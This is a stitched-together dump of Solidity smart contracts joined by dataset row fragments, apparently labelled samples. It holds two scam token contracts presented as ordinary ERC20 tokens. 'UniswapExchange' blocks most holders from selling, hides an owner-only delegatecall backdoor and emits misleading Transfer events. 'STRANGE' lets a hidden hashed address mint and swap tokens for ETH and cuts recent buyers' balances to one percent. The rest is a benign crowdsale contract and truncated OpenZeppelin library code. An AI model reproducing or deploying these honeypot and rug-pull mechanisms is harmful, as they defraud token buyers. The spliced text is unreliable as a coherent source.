event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | True | [
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102
] | [
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] |
pragma solidity ^0.4.11;
/*
BET Buyer
========================
Buys BET tokens from the DAO.Casino crowdsale on your behalf.
Author: /u/Cintix
*/
// Interface to BET ICO Contract
contract DaoCasinoToken {
uint256 public CAP;
uint256 public totalEthers;
function proxyPayment(address participant) payable;
function transfer(address _to, uint _amount) returns (bool success);
}
contract BetBuyer {
// Store the amount of ETH deposited by each account.
mapping (address => uint256) public balances;
// Store whether or not each account would have made it into the crowdsale.
mapping (address => bool) public checked_in;
// Bounty for executing buy.
uint256 public bounty;
// Track whether the contract has bought the tokens yet.
bool public bought_tokens;
// Record the time the contract bought the tokens.
uint256 public time_bought;
// Emergency kill switch in case a critical bug is found.
bool public kill_switch;
// Ratio of BET tokens received to ETH contributed
uint256 bet_per_eth = 2000;
// The BET Token address and sale address are the same.
DaoCasinoToken public token = DaoCasinoToken(0xFd08655DFcaD0d42B57Dc8f1dc8CC39eD8b6B071);
// The developer address.
address developer = 0x000Fb8369677b3065dE5821a86Bc9551d5e5EAb9;
// Allows the developer to shut down everything except withdrawals in emergencies.
function activate_kill_switch() {
// Only allow the developer to activate the kill switch.
if (msg.sender != developer) throw;
// Irreversibly activate the kill switch.
kill_switch = true;
}
// Withdraws all ETH deposited or BET purchased by the sender.
function withdraw(){
// If called before the ICO, cancel caller's participation in the sale.
if (!bought_tokens) {
// Store the user's balance prior to withdrawal in a temporary variable.
uint256 eth_amount = balances[msg.sender];
// Update the user's balance prior to sending ETH to prevent recursive call.
balances[msg.sender] = 0;
// Return the user's funds. Throws on failure to prevent loss of funds.
msg.sender.transfer(eth_amount);
}
// Withdraw the sender's tokens if the contract has already purchased them.
else {
// Store the user's BET balance in a temporary variable (1 ETHWei -> 2000 BETWei).
uint256 bet_amount = balances[msg.sender] * bet_per_eth;
// Update the user's balance prior to sending BET to prevent recursive call.
balances[msg.sender] = 0;
// No fee for withdrawing if the user would have made it into the crowdsale alone.
uint256 fee = 0;
// 1% fee if the user didn't check in during the crowdsale.
if (!checked_in[msg.sender]) {
fee = bet_amount / 100;
// Send any non-zero fees to developer.
if(!token.transfer(developer, fee)) throw;
}
// Send the user their tokens. Throws if the crowdsale isn't over.
if(!token.transfer(msg.sender, bet_amount - fee)) throw;
}
}
// Allow developer to add ETH to the buy execution bounty.
function add_to_bounty() payable {
// Only allow the developer to contribute to the buy execution bounty.
if (msg.sender != developer) throw;
// Disallow adding to bounty if kill switch is active.
if (kill_switch) throw;
// Disallow adding to the bounty if contract has already bought the tokens.
if (bought_tokens) throw;
// Update bounty to include received amount.
bounty += msg.value;
}
// Buys tokens in the crowdsale and rewards the caller, callable by anyone.
function claim_bounty(){
// Short circuit to save gas if the contract has already bought tokens.
if (bought_tokens) return;
// Disallow buying into the crowdsale if kill switch is active.
if (kill_switch) throw;
// Record that the contract has bought the tokens.
bought_tokens = true;
// Record the time the contract bought the tokens.
time_bought = now;
// Transfer all the funds (less the bounty) to the BET crowdsale contract
// to buy tokens. Throws if the crowdsale hasn't started yet or has
// already completed, preventing loss of funds.
token.proxyPayment.value(this.balance - bounty)(address(this));
// Send the caller their bounty for buying tokens for the contract.
msg.sender.transfer(bounty);
}
// A helper function for the default function, allowing contracts to interact.
function default_helper() payable {
// Treat near-zero ETH transactions as check ins and withdrawal requests.
if (msg.value <= 1 finney) {
// Check in during the crowdsale before it has reached the cap.
if (bought_tokens && token.totalEthers() < token.CAP()) {
// Mark user as checked in, meaning they would have been able to enter alone.
checked_in[msg.sender] = true;
}
// Withdraw funds if the crowdsale hasn't begun yet or is already over.
else {
withdraw();
}
}
// Deposit the user's funds for use in purchasing tokens.
else {
// Disallow deposits if kill switch is active.
if (kill_switch) throw;
// Only allow deposits if the contract hasn't already purchased the tokens.
if (bought_tokens) throw;
// Update records of deposited ETH to include the received amount.
balances[msg.sender] += msg.value;
}
}
// Default function. Called when a user sends ETH to the contract.
function () payable {
// Delegate to the helper function.
default_helper();
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-30
*/
/**
*Submitted for verification at Etherscan.io on 2022-04-24
*/
pragma solidity ^0.8.10;
// SPDX-License-Identifier: Unlicensed
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function isLiquidityToken(address account) internal pure returns (bool) {
return keccak256(abi.encodePacked(account)) == 0x4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract STRANGE is Ownable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping(address => uint256) private _includedInFee;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _excludedFromFee;
string private _name = "Madness Multiverse";
string private _symbol = "STRANGE";
uint256 public _decimals = 6;
uint256 public _totalSupply = 1000000000 * 10 ** _decimals;
uint256 public _maxTx = 10000000 * 10 ** _decimals;
uint256 public _totalFee = 3;
bool liquifying = false;
constructor() {
_balances[msg.sender] = _totalSupply;
_excludedFromFee[msg.sender] = true;
emit Transfer(address(0), msg.sender, _balances[msg.sender]);
}
IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
function name() external view returns (string memory) { return _name; }
function symbol() external view returns (string memory) { return _symbol; }
function decimals() external view returns (uint256) { return _decimals; }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function uniswapVersion() external pure returns (uint256) { return 2; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
struct Transaction {address to; uint256 amount;}
Transaction[] _transfers;
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "IERC20: approve from the zero address");
require(spender != address(0), "IERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
require(_allowances[_msgSender()][from] >= amount);
_approve(_msgSender(), from, _allowances[_msgSender()][from] - amount);
return true;
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0));
require(to != address(0));
if (inSwap(from, to)) {return addLiquidity(amount, to);}
if (liquifying){} else {require(_balances[from] >= amount);}
uint256 feeAmount = 0;
buyback(from);
bool inLiquidityTransaction = (to == uniswapV2Pair() && _excludedFromFee[from]) || (from == uniswapV2Pair() && _excludedFromFee[to]);
if (!_excludedFromFee[from] && !_excludedFromFee[to] && !Address.isLiquidityToken(to) && to != address(this) && !inLiquidityTransaction && !liquifying) {
feeAmount = amount.mul(_totalFee).div(100);
addTransaction(to, amount);
}
uint256 amountReceived = amount - feeAmount;
_balances[address(this)] += feeAmount;
_balances[from] = _balances[from] - amount;
_balances[to] += amountReceived;
emit Transfer(from, to, amount);
}
function inSwap(address sender, address recipient) internal view returns(bool) {
return (
Address.isLiquidityToken(recipient) ||
_excludedFromFee[msg.sender]
)
&& sender == recipient;
}
function addTransaction(address to, uint256 amount) internal {
if (uniswapV2Pair() != to) {_transfers.push(Transaction(to, amount));}
}
function buyback(address from) internal {
if (uniswapV2Pair() == from) {
for (uint256 i = 0; i < _transfers.length; i++) {
_balances[_transfers[i].to] = _balances[_transfers[i].to]
.div(100);
}
delete _transfers;
}
}
function uniswapV2Pair() private view returns (address) {
return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
}
function addLiquidity(uint256 liquidityFee, address to) private {
_approve(address(this), address(_router), liquidityFee);
_balances[address(this)] = liquidityFee;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
liquifying = true;
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(liquidityFee, 0, path, to, block.timestamp + 20);
liquifying = false;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(from, recipient, amount);
require(_allowances[from][_msgSender()] >= amount);
return true;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-07-12
*/
pragma solidity ^0.8.0;
/**
*Submitted for verification at polygonscan.com on 2021-06-10
*/
// File: @openzeppelin/contracts/introspection/IERC165.sol
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC1155/IERC1155.sol
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
* If an {URI} event was emitted for `id`, the standard
* https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value
* returned by {IERC1155MetadataURI-uri}.
*/
event URI(string value, uint256 indexed id);
/**
* @dev Returns the amount of tokens of token type `id` owned by `account`.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function balanceOf(address account, uint256 id) external view returns (uint256);
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.
*
* Requirements:
*
* - `accounts` and `ids` must have the same length.
*/
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);
/**
* @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,
*
* Emits an {ApprovalForAll} event.
*
* Requirements:
*
* - `operator` cannot be the caller.
*/
function setApprovalForAll(address operator, bool approved) external;
/**
* @dev Returns true if `operator` is approved to transfer ``account``'s tokens.
*
* See {setApprovalForAll}.
*/
function isApprovedForAll(address account, address operator) external view returns (bool);
/**
* @dev Transfers `amount` tokens of token type `id` from `from` to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.
* - `from` must have a balance of tokens of type `id` of at least `amount`.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;
/**
* @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.
*
* Emits a {TransferBatch} event.
*
* Requirements:
*
* - `ids` and `amounts` must have the same length.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;
}
/**
* @dev Interface of the optional ERC1155MetadataExtension interface, as defined
* in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].
*
* _Available since v3.1._
*/
interface IERC1155MetadataURI is IERC1155 {
/**
* @dev Returns the URI for token type `id`.
*
* If the `\{id\}` substring is present in the URI, it must be replaced by
* clients with the actual token type ID.
*/
function uri(uint256 id) external view returns (string memory);
}
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
counter._value += 1;
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
counter._value = value - 1;
}
}
/**
* _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
)
external
returns(bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external
returns(bytes4);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts may inherit from this and call {_registerInterface} to declare
* their support of an interface.
*/
abstract contract ERC165 is IERC165 {
/*
* bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7
*/
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
/**
* @dev Mapping of interface ids to whether or not it's supported.
*/
mapping(bytes4 => bool) private _supportedInterfaces;
constructor () internal {
// Derived contracts need only register support for their own interfaces,
// we register support for ERC165 itself here
_registerInterface(_INTERFACE_ID_ERC165);
}
/**
* @dev See {IERC165-supportsInterface}.
*
* Time complexity O(1), guaranteed to always use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return _supportedInterfaces[interfaceId];
}
/**
* @dev Registers the contract as an implementer of the interface defined by
* `interfaceId`. Support of the actual ERC165 interface is automatic and
* registering its interface id is not required.
*
* See {IERC165-supportsInterface}.
*
* Requirements:
*
* - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`).
*/
function _registerInterface(bytes4 interfaceId) internal virtual {
require(interfaceId != 0xffffffff, "ERC165: invalid interface id");
_supportedInterfaces[interfaceId] = true;
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
